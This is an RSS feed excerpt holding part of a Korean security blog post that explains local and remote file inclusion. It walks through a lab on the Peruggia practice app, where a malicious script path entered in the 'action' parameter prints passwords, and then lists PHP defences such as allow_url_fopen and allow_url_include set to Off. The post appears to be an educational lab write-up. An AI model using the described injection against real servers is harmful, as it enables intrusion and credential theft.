&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1183&quot; data-origin-height=&quot;558&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lab24/dJMcabEldja/g8feu6oT8zqy3yhhALeAZ0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lab24/dJMcabEldja/g8feu6oT8zqy3yhhALeAZ0/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lab24/dJMcabEldja/g8feu6oT8zqy3yhhALeAZ0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Flab24%2FdJMcabEldja%2Fg8feu6oT8zqy3yhhALeAZ0%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1183&quot; height=&quot;558&quot; data-origin-width=&quot;1183&quot; data-origin-height=&quot;558&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;지정된 값 이외는 default 문에 설정된 코드 실행되며, 해당에서는 필터링 과정 없이 '.php' 문자열을 붙여 includes 디렉토리에 존재하는 파일 호출&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1133&quot; data-origin-height=&quot;178&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dJ4L8b/dJMcaicrQCT/nQy86CLXZWF1kmkLVDLZ40/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dJ4L8b/dJMcaicrQCT/nQy86CLXZWF1kmkLVDLZ40/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dJ4L8b/dJMcaicrQCT/nQy86CLXZWF1kmkLVDLZ40/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdJ4L8b%2FdJMcaicrQCT%2FnQy86CLXZWF1kmkLVDLZ40%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1133&quot; height=&quot;178&quot; data-origin-width=&quot;1133&quot; data-origin-height=&quot;178&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;'$guard_lfi = true' 설정하여 지정된 값 이외 매개변수 호출 시 호출되지 않음&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1166&quot; data-origin-height=&quot;493&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bUDSeB/dJMcagr7c1P/x8TKQQ5m71jwrqHqGhqVf0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bUDSeB/dJMcagr7c1P/x8TKQQ5m71jwrqHqGhqVf0/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bUDSeB/dJMcagr7c1P/x8TKQQ5m71jwrqHqGhqVf0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbUDSeB%2FdJMcagr7c1P%2Fx8TKQQ5m71jwrqHqGhqVf0%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1166&quot; height=&quot;493&quot; data-origin-width=&quot;1166&quot; data-origin-height=&quot;493&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;설정 결과&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[RFI]&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;개념&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Remote File Include 약자로 &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;파일 불러오기 기능을 이용하여&lt;b&gt;&lt;span&gt; 외부&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;b&gt;서버&lt;/b&gt;의 파일을 실행시키는 악성 행위 공격&lt;/li&gt;
&lt;li&gt;외부 웹 서버의 악성 모듈을 웹 서버가 호출하도록 유도&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Peruggia case 실습&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;17-6.JPG&quot; data-origin-width=&quot;974&quot; data-origin-height=&quot;115&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pDtbR/dJMcahR0jQn/HzKIbctVeitkf5NGjdayfk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pDtbR/dJMcahR0jQn/HzKIbctVeitkf5NGjdayfk/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pDtbR/dJMcahR0jQn/HzKIbctVeitkf5NGjdayfk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FpDtbR%2FdJMcahR0jQn%2FHzKIbctVeitkf5NGjdayfk%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;974&quot; height=&quot;115&quot; data-filename=&quot;17-6.JPG&quot; data-origin-width=&quot;974&quot; data-origin-height=&quot;115&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;악성 스크립트 내용 : 패스워드 출력&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;17-7.JPG&quot; data-origin-width=&quot;1156&quot; data-origin-height=&quot;831&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dWiWKk/dJMcaciQg2y/6ViVvcKJb2FBA342QaYSGk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dWiWKk/dJMcaciQg2y/6ViVvcKJb2FBA342QaYSGk/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dWiWKk/dJMcaciQg2y/6ViVvcKJb2FBA342QaYSGk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdWiWKk%2FdJMcaciQg2y%2F6ViVvcKJb2FBA342QaYSGk%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1156&quot; height=&quot;831&quot; data-filename=&quot;17-7.JPG&quot; data-origin-width=&quot;1156&quot; data-origin-height=&quot;831&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;action 매개변수에 악성스크립트 경로 입력한 결과&lt;/li&gt;
&lt;li&gt;&lt;b&gt;대응 방안&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;외부 파일을 불러올 수 없도록 서버 설정 방안
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;PHP 설정에서 'allow_url_fopen = OFF' 설정&lt;/li&gt;
&lt;li&gt;에러 메세지 노출하지 않도록 'display_errors = OFF' 설정&lt;/li&gt;
&lt;li&gt;호출하는 디렉토리 고정 'include('/image':%입력값);&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;대응 실습&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1279&quot; data-origin-height=&quot;522&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bfwMpE/dJMcaaeoq0t/HgOZ81CQzDPkKhSa41pOb1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bfwMpE/dJMcaaeoq0t/HgOZ81CQzDPkKhSa41pOb1/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bfwMpE/dJMcaaeoq0t/HgOZ81CQzDPkKhSa41pOb1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbfwMpE%2FdJMcaaeoq0t%2FHgOZ81CQzDPkKhSa41pOb1%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1279&quot; height=&quot;522&quot; data-origin-width=&quot;1279&quot; data-origin-height=&quot;522&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;'allow_url_fopen = Off' : PHP에서 외부 파일을 URL 방식으로 include 허용 여부&lt;/li&gt;
&lt;li&gt;' allow_url_&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;include' : &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;include(), require() 계열의 함수 사용 시 외부 사이트의 파일을 호출 여부&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1189&quot; data-origin-height=&quot;645&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/UgckF/dJMcabYF4KG/Zp3YZdlPD1G1MTG9Q8Xvo0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/UgckF/dJMcabYF4KG/Zp3YZdlPD1G1MTG9Q8Xvo0/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/UgckF/dJMcabYF4KG/Zp3YZdlPD1G1MTG9Q8Xvo0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FUgckF%2FdJMcabYF4KG%2FZp3YZdlPD1G1MTG9Q8Xvo0%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1189&quot; height=&quot;645&quot; data-origin-width=&quot;1189&quot; data-origin-height=&quot;645&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;설정 결과&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>보안/보안 개념</category>
      <author>no-brake</author>
      <guid isPermaLink="true">https://no-brake.tistory.com/175</guid>
      <comments>https://no-brake.tistory.com/175#entry175comment</comments>
      <pubDate>Wed, 20 May 2026 15:51:15 +0900</pubDate>
    </item>
  </channel>
</rss>